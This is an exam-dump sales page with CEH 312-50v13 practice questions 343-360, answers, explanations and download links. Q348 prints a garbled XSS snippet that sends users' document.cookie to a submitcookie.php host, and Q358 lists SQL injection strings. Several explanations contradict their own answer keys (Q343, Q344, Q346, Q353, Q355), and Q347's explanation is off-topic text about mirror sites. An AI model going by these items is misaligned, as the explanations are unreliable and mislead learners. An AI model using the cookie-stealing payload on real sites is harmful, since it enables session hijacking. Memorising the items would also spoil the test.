Check the Free demo of our 312-50v13 Exam Dumps with 588 Questions [Q343-Q360]

Check the Free demo of our 312-50v13 Exam Dumps with 588 Questions

Clear your concepts with 312-50v13 Questions Before Attempting Real exam

NEW QUESTION # 343
Malware remains dormant until triggered and changes its code with each infection. What malware type is responsible, and how should it be mitigated?

• A. Polymorphic malware
• B. Worm
• C. Rootkit
• D. Adware

Answer: A

Explanation:
This scenario precisely matches polymorphic malware, a type of advanced malware described in CEH v13 Malware Threats. Polymorphic malware dynamically alters its code, encryption, or signature each time it propagates, allowing it to evade traditional signature-based antivirus detection.
Additionally, the malware's ability to remain dormant until triggered indicates logic-based activation, which is common in advanced threats designed to avoid sandbox detection.
CEH v13 emphasizes that polymorphic malware cannot be reliably detected using static signatures. Instead, organizations must rely on behavior-based detection, heuristic analysis, and advanced threat protection systems capable of identifying suspicious runtime behavior.
Options A, C, and D do not match the described behavior. Adware focuses on advertising. Worms self- propagate aggressively. Rootkits focus on stealth and persistence, not code mutation.
Therefore, Option B is the correct answer.

NEW QUESTION # 344
During a code review at a defense technology contractor in Virginia, penetration tester Lucas identifies that a newly deployed payroll application encrypts sensitive employee data using a weak custom algorithm. In addition, its session validation logic allows certain requests to bypass access controls altogether. These oversights are traced back to flawed system logic and poor encryption design decisions made during the development phase.
Which vulnerability category BEST describes the issue Lucas discovered?

• A. Application Flaws
• B. Misconfigurations/Weak Configurations
• C. Poor Patch Management
• D. Design Flaws

Answer: D

Explanation:
The correct answer is A. Design Flaws because the weaknesses originate from fundamental development-time decisions in how the application was architected-specifically (1) selecting or creating a weak custom encryption algorithm and (2) implementing session validation in a way that allows requests to bypass access controls. In CEH-aligned vulnerability classification, design flaws are problems embedded in the application's design and logic, not merely bugs from implementation mistakes, misconfiguration of a server setting, or missing vendor patches. They are often systemic: even if the code is "working as intended," the intent itself is insecure.
The prompt explicitly states the issues are "traced back to flawed system logic and poor encryption design decisions made during the development phase." That description maps directly to design flaws: using
"homegrown crypto" instead of vetted cryptographic primitives and protocols is a classic design error because it typically lacks proper peer review, threat modeling, and proven resistance to cryptanalysis. Likewise, session validation that permits bypassing access controls indicates the application's authorization/session model was designed incorrectly (for example, trusting client-side state, failing to enforce server-side checks consistently, or allowing unauthenticated endpoints to access privileged operations).
Why the other options are less accurate: Application flaws is a broad label that can include coding bugs, but the question is asking for the best category given that the root cause is architectural decisions rather than a narrow coding mistake. Misconfigurations/weak configurations usually refer to insecure settings in deployment (default credentials, permissive headers, weak TLS configuration), not a custom crypto algorithm and flawed session logic baked into the app. Poor patch management concerns failing to update known vulnerable components; here, the weakness is custom logic, not an unpatched third-party vulnerability.
Therefore, the most accurate category for these development-phase encryption and session/authorization weaknesses is Design Flaws.

NEW QUESTION # 345
Javier Ruiz from CyberFortress Solutions is tasked with auditing the mobile security practices of Apex Financial Services, a financial firm in Houston, Texas. During a covert penetration test, Javier targets employees' personal smartphones used to access corporate financial systems. He exploits a vulnerability by installing a malicious app that bypasses access controls, granting him unauthorized entry to sensitive financial data because the devices lack a specific security measure to restrict app access. Based on this vulnerability, which BYOD security guideline is most likely missing in Apex Financial Services' policy?

• A. Set passwords for apps to restrict others from accessing them
• B. Review permissions requested by apps before installing them
• C. Use encryption mechanisms to store data
• D. Enforce automatic device locking or implement biometric authentication

Answer: B

Explanation:
The most likely missing BYOD guideline is reviewing application permissions before installation. In CEH mobile security guidance, a major risk in BYOD environments is the introduction of untrusted or malicious applications that abuse the mobile permission model to access corporate data, intercept authentication tokens, read storage, capture keystrokes via accessibility services, or communicate externally. When users install apps without scrutinizing requested permissions, they may unknowingly grant excessive privileges that enable data theft or access-control bypass, especially if the app leverages OS weaknesses or misconfigurations.
The scenario states Javier "installs a malicious app that bypasses access controls" and gains access to sensitive financial data because devices "lack a specific security measure to restrict app access." This maps directly to a policy gap around controlling and validating apps and their permission requests. CEH emphasizes that organizations should reduce attack surface by limiting app privileges, avoiding sideloading from untrusted sources, and enforcing least privilege through user awareness and enterprise controls such as MDM application allowlisting and permission governance. Reviewing permissions is the user-facing guideline that prevents employees from granting dangerous access (for example, SMS, storage, contacts, accessibility, device admin, or VPN configuration permissions) that can enable credential theft or unauthorized data access.
Option B adds an extra layer for local access but does not stop a malicious app with granted permissions from accessing corporate data. Option C helps if a device is physically stolen, but it does not prevent malicious apps already running under the user context. Option D protects data at rest, yet a malicious app can still exfiltrate data once it is decrypted and accessed by the user session. Therefore, permission review is the most directly relevant missing BYOD guideline.

NEW QUESTION # 346
An ethical hacker is hired to conduct a comprehensive network scan of a large organization that strongly suspects potential intrusions into their internal systems. The hacker decides to employ a combination of scanning tools to obtain a detailed understanding of the network. Which sequence of actions would provide the most comprehensive information about the network's status?

• A. Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting
• B. Start with Hping3 for a UDP scan on random ports, then use Nmap for a version detection scan, and finally use Metasploit to exploit detected vulnerabilities
• C. Use Hping3 for an ICMP ping scan on the entire subnet, then use Nmap for a SYN scan on identified active hosts, and finally use Metasploit to exploit identified vulnerabilities
• D. Begin with NetScanTools Pro for a general network scan, then use Nmap for OS detection and version detection, and finally perform an SYN flooding with Hping3

Answer: C

Explanation:
The sequence of actions that would provide the most comprehensive information about the network's status is to use Hping3 for an ICMP ping scan on the entire subnet, then use Nmap for a SYN scan on identified active hosts, and finally use Metasploit to exploit identified vulnerabilities. This sequence of actions works as follows:
Use Hping3 for an ICMP ping scan on the entire subnet: This action is used to discover the active hosts on the network by sending ICMP echo request packets to each possible IP address on the subnet and waiting for ICMP echo reply packets from the hosts. Hping3 is a command-line tool that can craft and send custom packets, such as TCP, UDP, or ICMP, and analyze the responses. By using Hping3 for an ICMP ping scan, the hacker can quickly and efficiently identify the live hosts on the network, as well as their response times and packet loss rates12.
Use Nmap for a SYN scan on identified active hosts: This action is used to scan the open ports and services on the active hosts by sending TCP SYN packets to a range of ports and analyzing the TCP responses. Nmap is a popular and powerful tool that can perform various types of network scans, such as port scanning, service detection, OS detection, and vulnerability scanning. By using Nmap for a SYN scan, the hacker can determine the state of the ports on the active hosts, such as open, closed, filtered, or unfiltered, as well as the services and protocols running on them. A SYN scan is also known as a stealth scan, as it does not complete the TCP three-way handshake and thus avoids logging on the target system34.
Use Metasploit to exploit identified vulnerabilities: This action is used to exploit the vulnerabilities on the active hosts by using pre-built or custom modules that leverage the open ports and services. Metasploit is a framework that contains a collection of tools and modules for penetration testing and exploitation. By using Metasploit, the hacker can launch various attacks on the active hosts, such as remote code execution, privilege escalation, or backdoor installation, and gain access to the target system or data. Metasploit can also be used to perform post-exploitation tasks, such as gathering information, maintaining persistence, or pivoting to other systems .
The other options are not as comprehensive as option B for the following reasons:
A). Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting: This option is not optimal because it does not use the tools in the most efficient and effective way. Nmap can perform a ping sweep, but it is slower and less flexible than Hping3, which can craft and send custom packets. Metasploit can scan for open ports and services, but it is more suitable for exploitation than scanning, and it relies on Nmap for port scanning anyway. Hping3 can perform remote OS fingerprinting, but it is less accurate and reliable than Nmap, which can use various techniques and probes to determine the OS type and version13 .
C). Start with Hping3 for a UDP scan on random ports, then use Nmap for a version detection scan, and finally use Metasploit to exploit detected vulnerabilities: This option is not effective because it does not use the best scanning methods and techniques. Hping3 can perform a UDP scan, but it is slower and less reliable than a TCP scan, as UDP is a connectionless protocol that does not always generate responses. Scanning random ports is also inefficient and incomplete, as it may miss important ports or services. Nmap can perform a version detection scan, but it is more useful to perform a port scan first, as it can narrow down the scope and speed up the scan. Metasploit can exploit detected vulnerabilities, but it is not clear how the hacker can identify the vulnerabilities without performing a vulnerability scan first13 .
D). Begin with NetScanTools Pro for a general network scan, then use Nmap for OS detection and version detection, and finally perform an SYN flooding with Hping3: This option is not comprehensive because it does not cover all the aspects and objectives of a network scan. NetScanTools Pro is a graphical tool that can perform various network tasks, such as ping, traceroute, DNS lookup, or port scan, but it is less powerful and versatile than Nmap or Hping3, which can perform more advanced and customized scans. Nmap can perform OS detection and version detection, but it is more useful to perform a port scan first, as it can provide more information and insights into the target system. Performing an SYN flooding with Hping3 is not a network scan, but a denial-of-service attack, which can disrupt the network and alert the target system, and it is not an ethical or legal action for a hired hacker13 .
References:
1: Hping - Wikipedia
2: Hping3 Examples - NetworkProGuide
3: Nmap - Wikipedia
4: Nmap Tutorial: From Discovery to Exploits - Part 1: Introduction to Nmap | HackerTarget.com
5: Metasploit Project - Wikipedia
6: Metasploit Unleashed - Offensive Security
7: NetScanTools Pro - Northwest Performance Software, Inc.

NEW QUESTION # 347
jane, an ethical hacker. Is testing a target organization's web server and website to identity security loopholes.
In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps jane map the website's directories and gain valuable information. What is the attack technique employed by Jane in the above scenario?

• A. Session hijacking
• B. website mirroring
• C. Web cache poisoning
• D. Website defacement

Answer: B

Explanation:
A mirror site may be a website or set of files on a computer server that has been copied to a different computer server in order that the location or files are available from quite one place. A mirror site has its own URL, but is otherwise just like the principal site. Load-balancing devices allow high-volume sites to scale easily, dividing the work between multiple mirror sites.A mirror site is typically updated frequently to make sure it reflects the contents of the first site. In some cases, the first site may arrange for a mirror site at a bigger location with a better speed connection and, perhaps, a better proximity to an outsized audience.If the first site generates an excessive amount of traffic, a mirror site can ensure better availability of the web site or files. For websites that provide copies or updates of widely used software, a mirror site allows the location to handle larger demands and enables the downloaded files to arrive more quickly. Microsoft, Sun Microsystems and other companies have mirror sites from which their browser software are often downloaded.Mirror sites are wont to make site access faster when the first site could also be geographically distant from those accessing it. A mirrored web server is usually located on a special continent from the principal site, allowing users on the brink of the mirror site to urge faster and more reliable access.Mirroring an internet site also can be done to make sure that information are often made available to places where access could also be unreliable or censored. In 2013, when Chinese authorities blocked access to foreign media outlets just like the Wall Street Journal and Reuters, site mirroring was wont to restore access and circumvent government censorship.

NEW QUESTION # 348
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments.
She immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script>
document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+ escape(document.cookie)+ " />); <
/script>
What issue occurred for the users who clicked on the image?

• A. The code inject a new cookie to the browser.
• B. The code redirects the user to another site.
• C. The code is a virus that is attempting to gather the users username and password.
• D. This php file silently executes the code and grabs the users session cookie and session ID.

Answer: D

Explanation:
document.write(<img.src=https://localhost/submitcookie.php cookie =+ escape(document.cookie) +/>); (Cookie and session ID theft)
https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/ As seen in the indicated question, cookies are escaped and sent to script to variable 'cookie'. If the malicious user would inject this script into the website's code, then it will be executed in the user's browser and cookies will be sent to the malicious user.

NEW QUESTION # 349
A red team operator wants to obtain credentials from a Windows machine without touching LSASS memory due to security controls and Credential Guard. They use SSPI to generate NetNTLM responses in the logged- in user context and collect those responses for offline cracking. Which attack technique is being used?

• A. Pass-the-ticket attack method involving forged tickets for network access
• B. Hash injection approach using credential hashes for authentication purposes
• C. Replay attack attempt by reusing captured authentication traffic sequences
• D. Internal Monologue attack technique executed through OS authentication protocol manipulations

Answer: D

Explanation:
CEH v13 discusses various credential extraction and authentication abuse techniques, including approaches that avoid LSASS memory due to modern protections like Credential Guard. The Internal Monologue technique is a specialized credential-harvesting approach that leverages the Windows SSPI authentication stack to coerce the local system into generating NetNTLM challenge-response hashes without requiring direct access to LSASS. This allows attackers to obtain legitimate NTLM responses entirely within the user's security context. These captured responses can then be cracked offline using tools such as Hashcat. Unlike replay attacks (Option B), Internal Monologue is not about reusing captured traffic. Hash injection (Option C) requires possession of NT hashes and modifies authentication tokens, which does not occur here. Pass-the- ticket (Option D) targets Kerberos, not NTLM. Therefore, the correct technique is the Internal Monologue attack.

NEW QUESTION # 350
An organization has been experiencing intrusion attempts despite deploying an Intrusion Detection System (IDS) and Firewalls. As a Certified Ethical Hacker, you are asked to reinforce the intrusion detection process and recommend a better rule-based approach. The IDS uses Snort rules and the new recommended tool should be able to complement it. You suggest using YARA rules with an additional tool for rule generation. Which of the following tools would be the best choice for this purpose and why?

• A. koodous - Because it combines social networking with antivirus signatures and YARA rules to detect malware
• B. AutoYara - Because it automates the generation of YARA rules from a set of malicious and benign files
• C. yarGen - Because it generates YARA rules from strings identified in malware files while removing strings that also appear in goodware files
• D. YaraRET - Because it helps in reverse engineering Trojans to generate YARA rules

Answer: C

Explanation:
YARA rules are a powerful way to detect and classify malware based on patterns, signatures, and behaviors.
They can be used to complement Snort rules, which are mainly focused on network traffic analysis. However, writing YARA rules manually can be time-consuming and error-prone, especially when dealing with large and diverse malware samples. Therefore, using a tool that can automate or assist the generation of YARA rules can be very helpful for ethical hackers.
Among the four options, yarGen is the best choice for this purpose, because it generates YARA rules from strings identified in malware files while removing strings that also appear in goodware files. This way, yarGen can reduce the false positives and increase the accuracy of the YARA rules. yarGen also supports various features, such as whitelisting, scoring, wildcards, and regular expressions, to improve the quality and efficiency of the YARA rules.
The other options are not as suitable as yarGen for this purpose. AutoYara is a tool that automates the generation of YARA rules from a set of malicious and benign files, but it does not perform any filtering or optimization of the strings, which may result in noisy and ineffective YARA rules. YaraRET is a tool that helps in reverse engineering Trojans to generate YARA rules, but it is limited to a specific type of malware and requires manual intervention and analysis. koodous is a platform that combines social networking with antivirus signatures and YARA rules to detect malware, but it is not a tool for generating YARA rules, rather it is a tool for sharing and collaborating on YARA rules. References:
* yarGen - A Tool to Generate YARA Rules
* YARA Rules: The Basics
* Why master YARA: from routine to extreme threat hunting cases

NEW QUESTION # 351
Gregory, a professional penetration tester working at Sys Security Ltd., is tasked with performing a security test of web applications used in the company. For this purpose, Gregory uses a tool to test for any security loopholes by hijacking a session between a client and server. This tool has a feature of intercepting proxy that can be used to inspect and modify the traffic between the browser and target application. This tool can also perform customized attacks and can be used to test the randomness of session tokens. Which of the following tools is used by Gregory in the above scenario?

• A. CxSAST
• B. Wireshark
• C. Burp Suite
• D. Nmap

Answer: C

Explanation:
Burp Suite is a comprehensive web vulnerability scanner and testing suite widely used in penetration testing and ethical hacking.
Key features include:
* Intercepting proxy: Allows inspection and modification of traffic between the browser and target server.
* Session hijacking/testing tools
* Intruder and Repeater modules for customized payload injection
* Sequencer module for testing session token randomness
* Extensibility through plugins and custom scripts
Incorrect Options:
* A. Nmap is a network scanning tool, not used for intercepting web traffic.
* C. CxSAST (Checkmarx) is a static application security testing (SAST) tool.
* D. Wireshark is a packet analyzer but does not include intercepting proxy features or token testing.
Reference - CEH v13 Official Courseware:
Module 14: Hacking Web Applications
Section: "Burp Suite as a Web Vulnerability Testing Tool"
CEH iLab: Using Burp Suite for Web App Testing

NEW QUESTION # 352
These hackers have limited or no training and know how to use only basic techniques or tools. What kind of hackers are we talking about?

• A. Script Kiddies
• B. Black-Hat Hackers
• C. Gray-Hat Hackers
• D. White-Hat Hackers

Answer: A

Explanation:
Comprehensive and Detailed Explanation:
Script Kiddies are individuals with minimal technical skills who use existing tools or scripts developed by others to perform attacks. They generally do not understand the underlying mechanisms and rely on publicly available hacking tools.
From CEH v13 Official Study Guide:
* Module 1: Introduction to Ethical Hacking # Hacker Types
* "Script kiddies are unskilled attackers who use tools created by others." Reference: CEH v13 Courseware - Hacker Classification

NEW QUESTION # 353
Which of the following best describes the role of a penetration tester?

• A. A hacker who gains unauthorized access to systems for malicious purposes
• B. A security professional hired to identify and exploit vulnerabilities with permission
• C. A developer who writes malicious code for cyberattacks
• D. A hacker who spreads malware to compromise systems

Answer: B

Explanation:
CEH v13 defines a penetration tester as an authorized security professional whose responsibility is to identify, exploit, and report vulnerabilities within an organization's systems, networks, applications, and processes.
Unlike malicious hackers, penetration testers operate strictly within legal boundaries, under documented Rules of Engagement (RoE), and with explicit written permission from the organization. Their goal is not to harm systems but to simulate real-world cyberattacks to help organizations strengthen their defenses. CEH emphasizes the ethical responsibilities of penetration testers, including maintaining confidentiality, avoiding unauthorized data exposure, ensuring minimal operational impact, and providing actionable recommendations. Options B, C, and D describe malicious actors, malware authors, or unauthorized attackers-roles opposite to that of an ethical penetration tester. CEH makes a strong distinction between white-hat ethical hackers and black-hat attackers, with penetration testers firmly falling under the ethical, lawful category. Therefore, Option A accurately reflects CEH's definition of a penetration tester.

NEW QUESTION # 354
is a set of extensions to DNS that provide the origin authentication of DNS data to DNS clients (resolvers) so as to reduce the threat of DNS poisoning, spoofing, and similar types of attacks.

• A. Resource records
• B. DNSSEC
• C. Resource transfer
• D. Zone transfer

Answer: B

Explanation:
The Domain Name System Security Extensions (DNSSEC) is a suite of Internet Engineering Task Force (IETF) specifications for securing certain kinds of information provided by DNS for use on IP networks.
DNSSEC is a set of extensions to DNS provide to DNS clients (resolvers) origin authentication of DNS data, authenticated denial of existence, and data integrity, but not availability or confidentiality. DNSSEC is necessary because the original DNS design did not include security but was designed to be a scalable distributed system. DNSSEC adds security while maintaining backward compatibility.
=

NEW QUESTION # 355
You detect the presence of a kernel-level rootkit embedded deeply within an operating system. Given the critical nature of the infection, which remediation strategy should be followed to effectively remove the rootkit while minimizing long-term risk?

• A. Deploy high-interaction honeypots to observe attacker behavior
• B. Use specialized rootkit detection tools followed by tailored removal procedures
• C. Immediately power down the system and disconnect it from the network
• D. Perform a complete system format and reinstall the operating system from a trusted source

Answer: D

Explanation:
The CEH Malware and Rootkit Analysis module emphasizes that kernel-level rootkits compromise the most trusted components of the operating system. Once a kernel is compromised, no tool running on that system can be fully trusted.
CEH explicitly states that the only reliable remediation for kernel-mode rootkits is:
* Full system wipe
* Reinstallation from a known, trusted source
* Restoration of verified clean data
Option C is correct and represents CEH best practice.
Option A may work for user-mode rootkits but is unreliable for kernel-level infections.
Option B is a research tactic, not remediation.
Option D is containment, not eradication.

NEW QUESTION # 356
Which among the following is the best example of the third step (delivery) in the cyber kill chain?

• A. An intruder's malware is triggered when a target opens a malicious email attachment.
• B. An intruder creates malware to be used as a malicious attachment to an email.
• C. An intruder's malware is installed on a target's machine.
• D. An intruder sends a malicious attachment via email to a target.

Answer: D

Explanation:
In CEH v13 Module 06: Malware Threats, the Cyber Kill Chain is broken down into its seven stages:
Reconnaissance
Weaponization
Delivery
Exploitation
Installation
Command & Control
Actions on Objectives
Step 3 - Delivery:
Refers to the transmission of the malicious payload to the victim.
Can occur through email, web downloads, USB drives, etc.
Correct Example:
A). "An intruder sends a malicious attachment via email to a target" - This is delivery.
Other Options:
B). Weaponization
C). Exploitation
D). Installation
Reference:
Module 06 - Malware and Cyber Kill Chain Model
CEH Labs: Simulating Cyber Kill Chain Stages

NEW QUESTION # 357
What is the role of test automation in security testing?

• A. It is an option but it tends to be very expensive.
• B. It can accelerate benchmark tests and repeat them with a consistent test setup. But it cannot replace manual testing completely.
• C. It should be used exclusively. Manual testing is outdated because of low speed and possible test setup inconsistencies.
• D. Test automation is not usable in security due to the complexity of the tests.

Answer: B

NEW QUESTION # 358
A penetration tester suspects that a web application's product search feature is vulnerable to SQL injection.
The tester needs to confirm this by manipulating the SQL query. What is the best technique to test for SQL injection?

• A. Inject a malicious script into the search field to test for Cross-Site Scripting (XSS)
• B. Insert admin'- in the search field to attempt bypassing authentication
• C. Input 1 OR 1=1 in the search field to retrieve all products from the database
• D. Use directory traversal syntax in the search field to access server files

Answer: C

Explanation:
SQL injection testing commonly involves using tautology-based payloads such as 1 OR 1=1, which force SQL queries to evaluate as true. CEH explains that this confirms improper input sanitization and exposes whether user-supplied fields directly influence database queries. The result often returns all records, indicating successful injection.

NEW QUESTION # 359
Rebecca, a security professional, wants to authenticate employees who use web services for safe and secure communication. In this process, she employs a component of the Web Service Architecture, which is an extension of SOAP, and it can maintain the integrity and confidentiality of SOAP messages.
Which of the following components of the Web Service Architecture is used by Rebecca for securing the communication?

• A. WS-Security
• B. WS-Policy
• C. WSDL
• D. WS Work Processes

Answer: A

NEW QUESTION # 360
......

Get professional help from our 312-50v13 Dumps PDF: https://www.actualpdf.com/312-50v13_exam-dumps.html

Give You Free Regular Updates on 312-50v13 Exam Questions: https://drive.google.com/open?id=1mpdXE9wUcHk_0Nu3sWmbEEmXzc40uEu2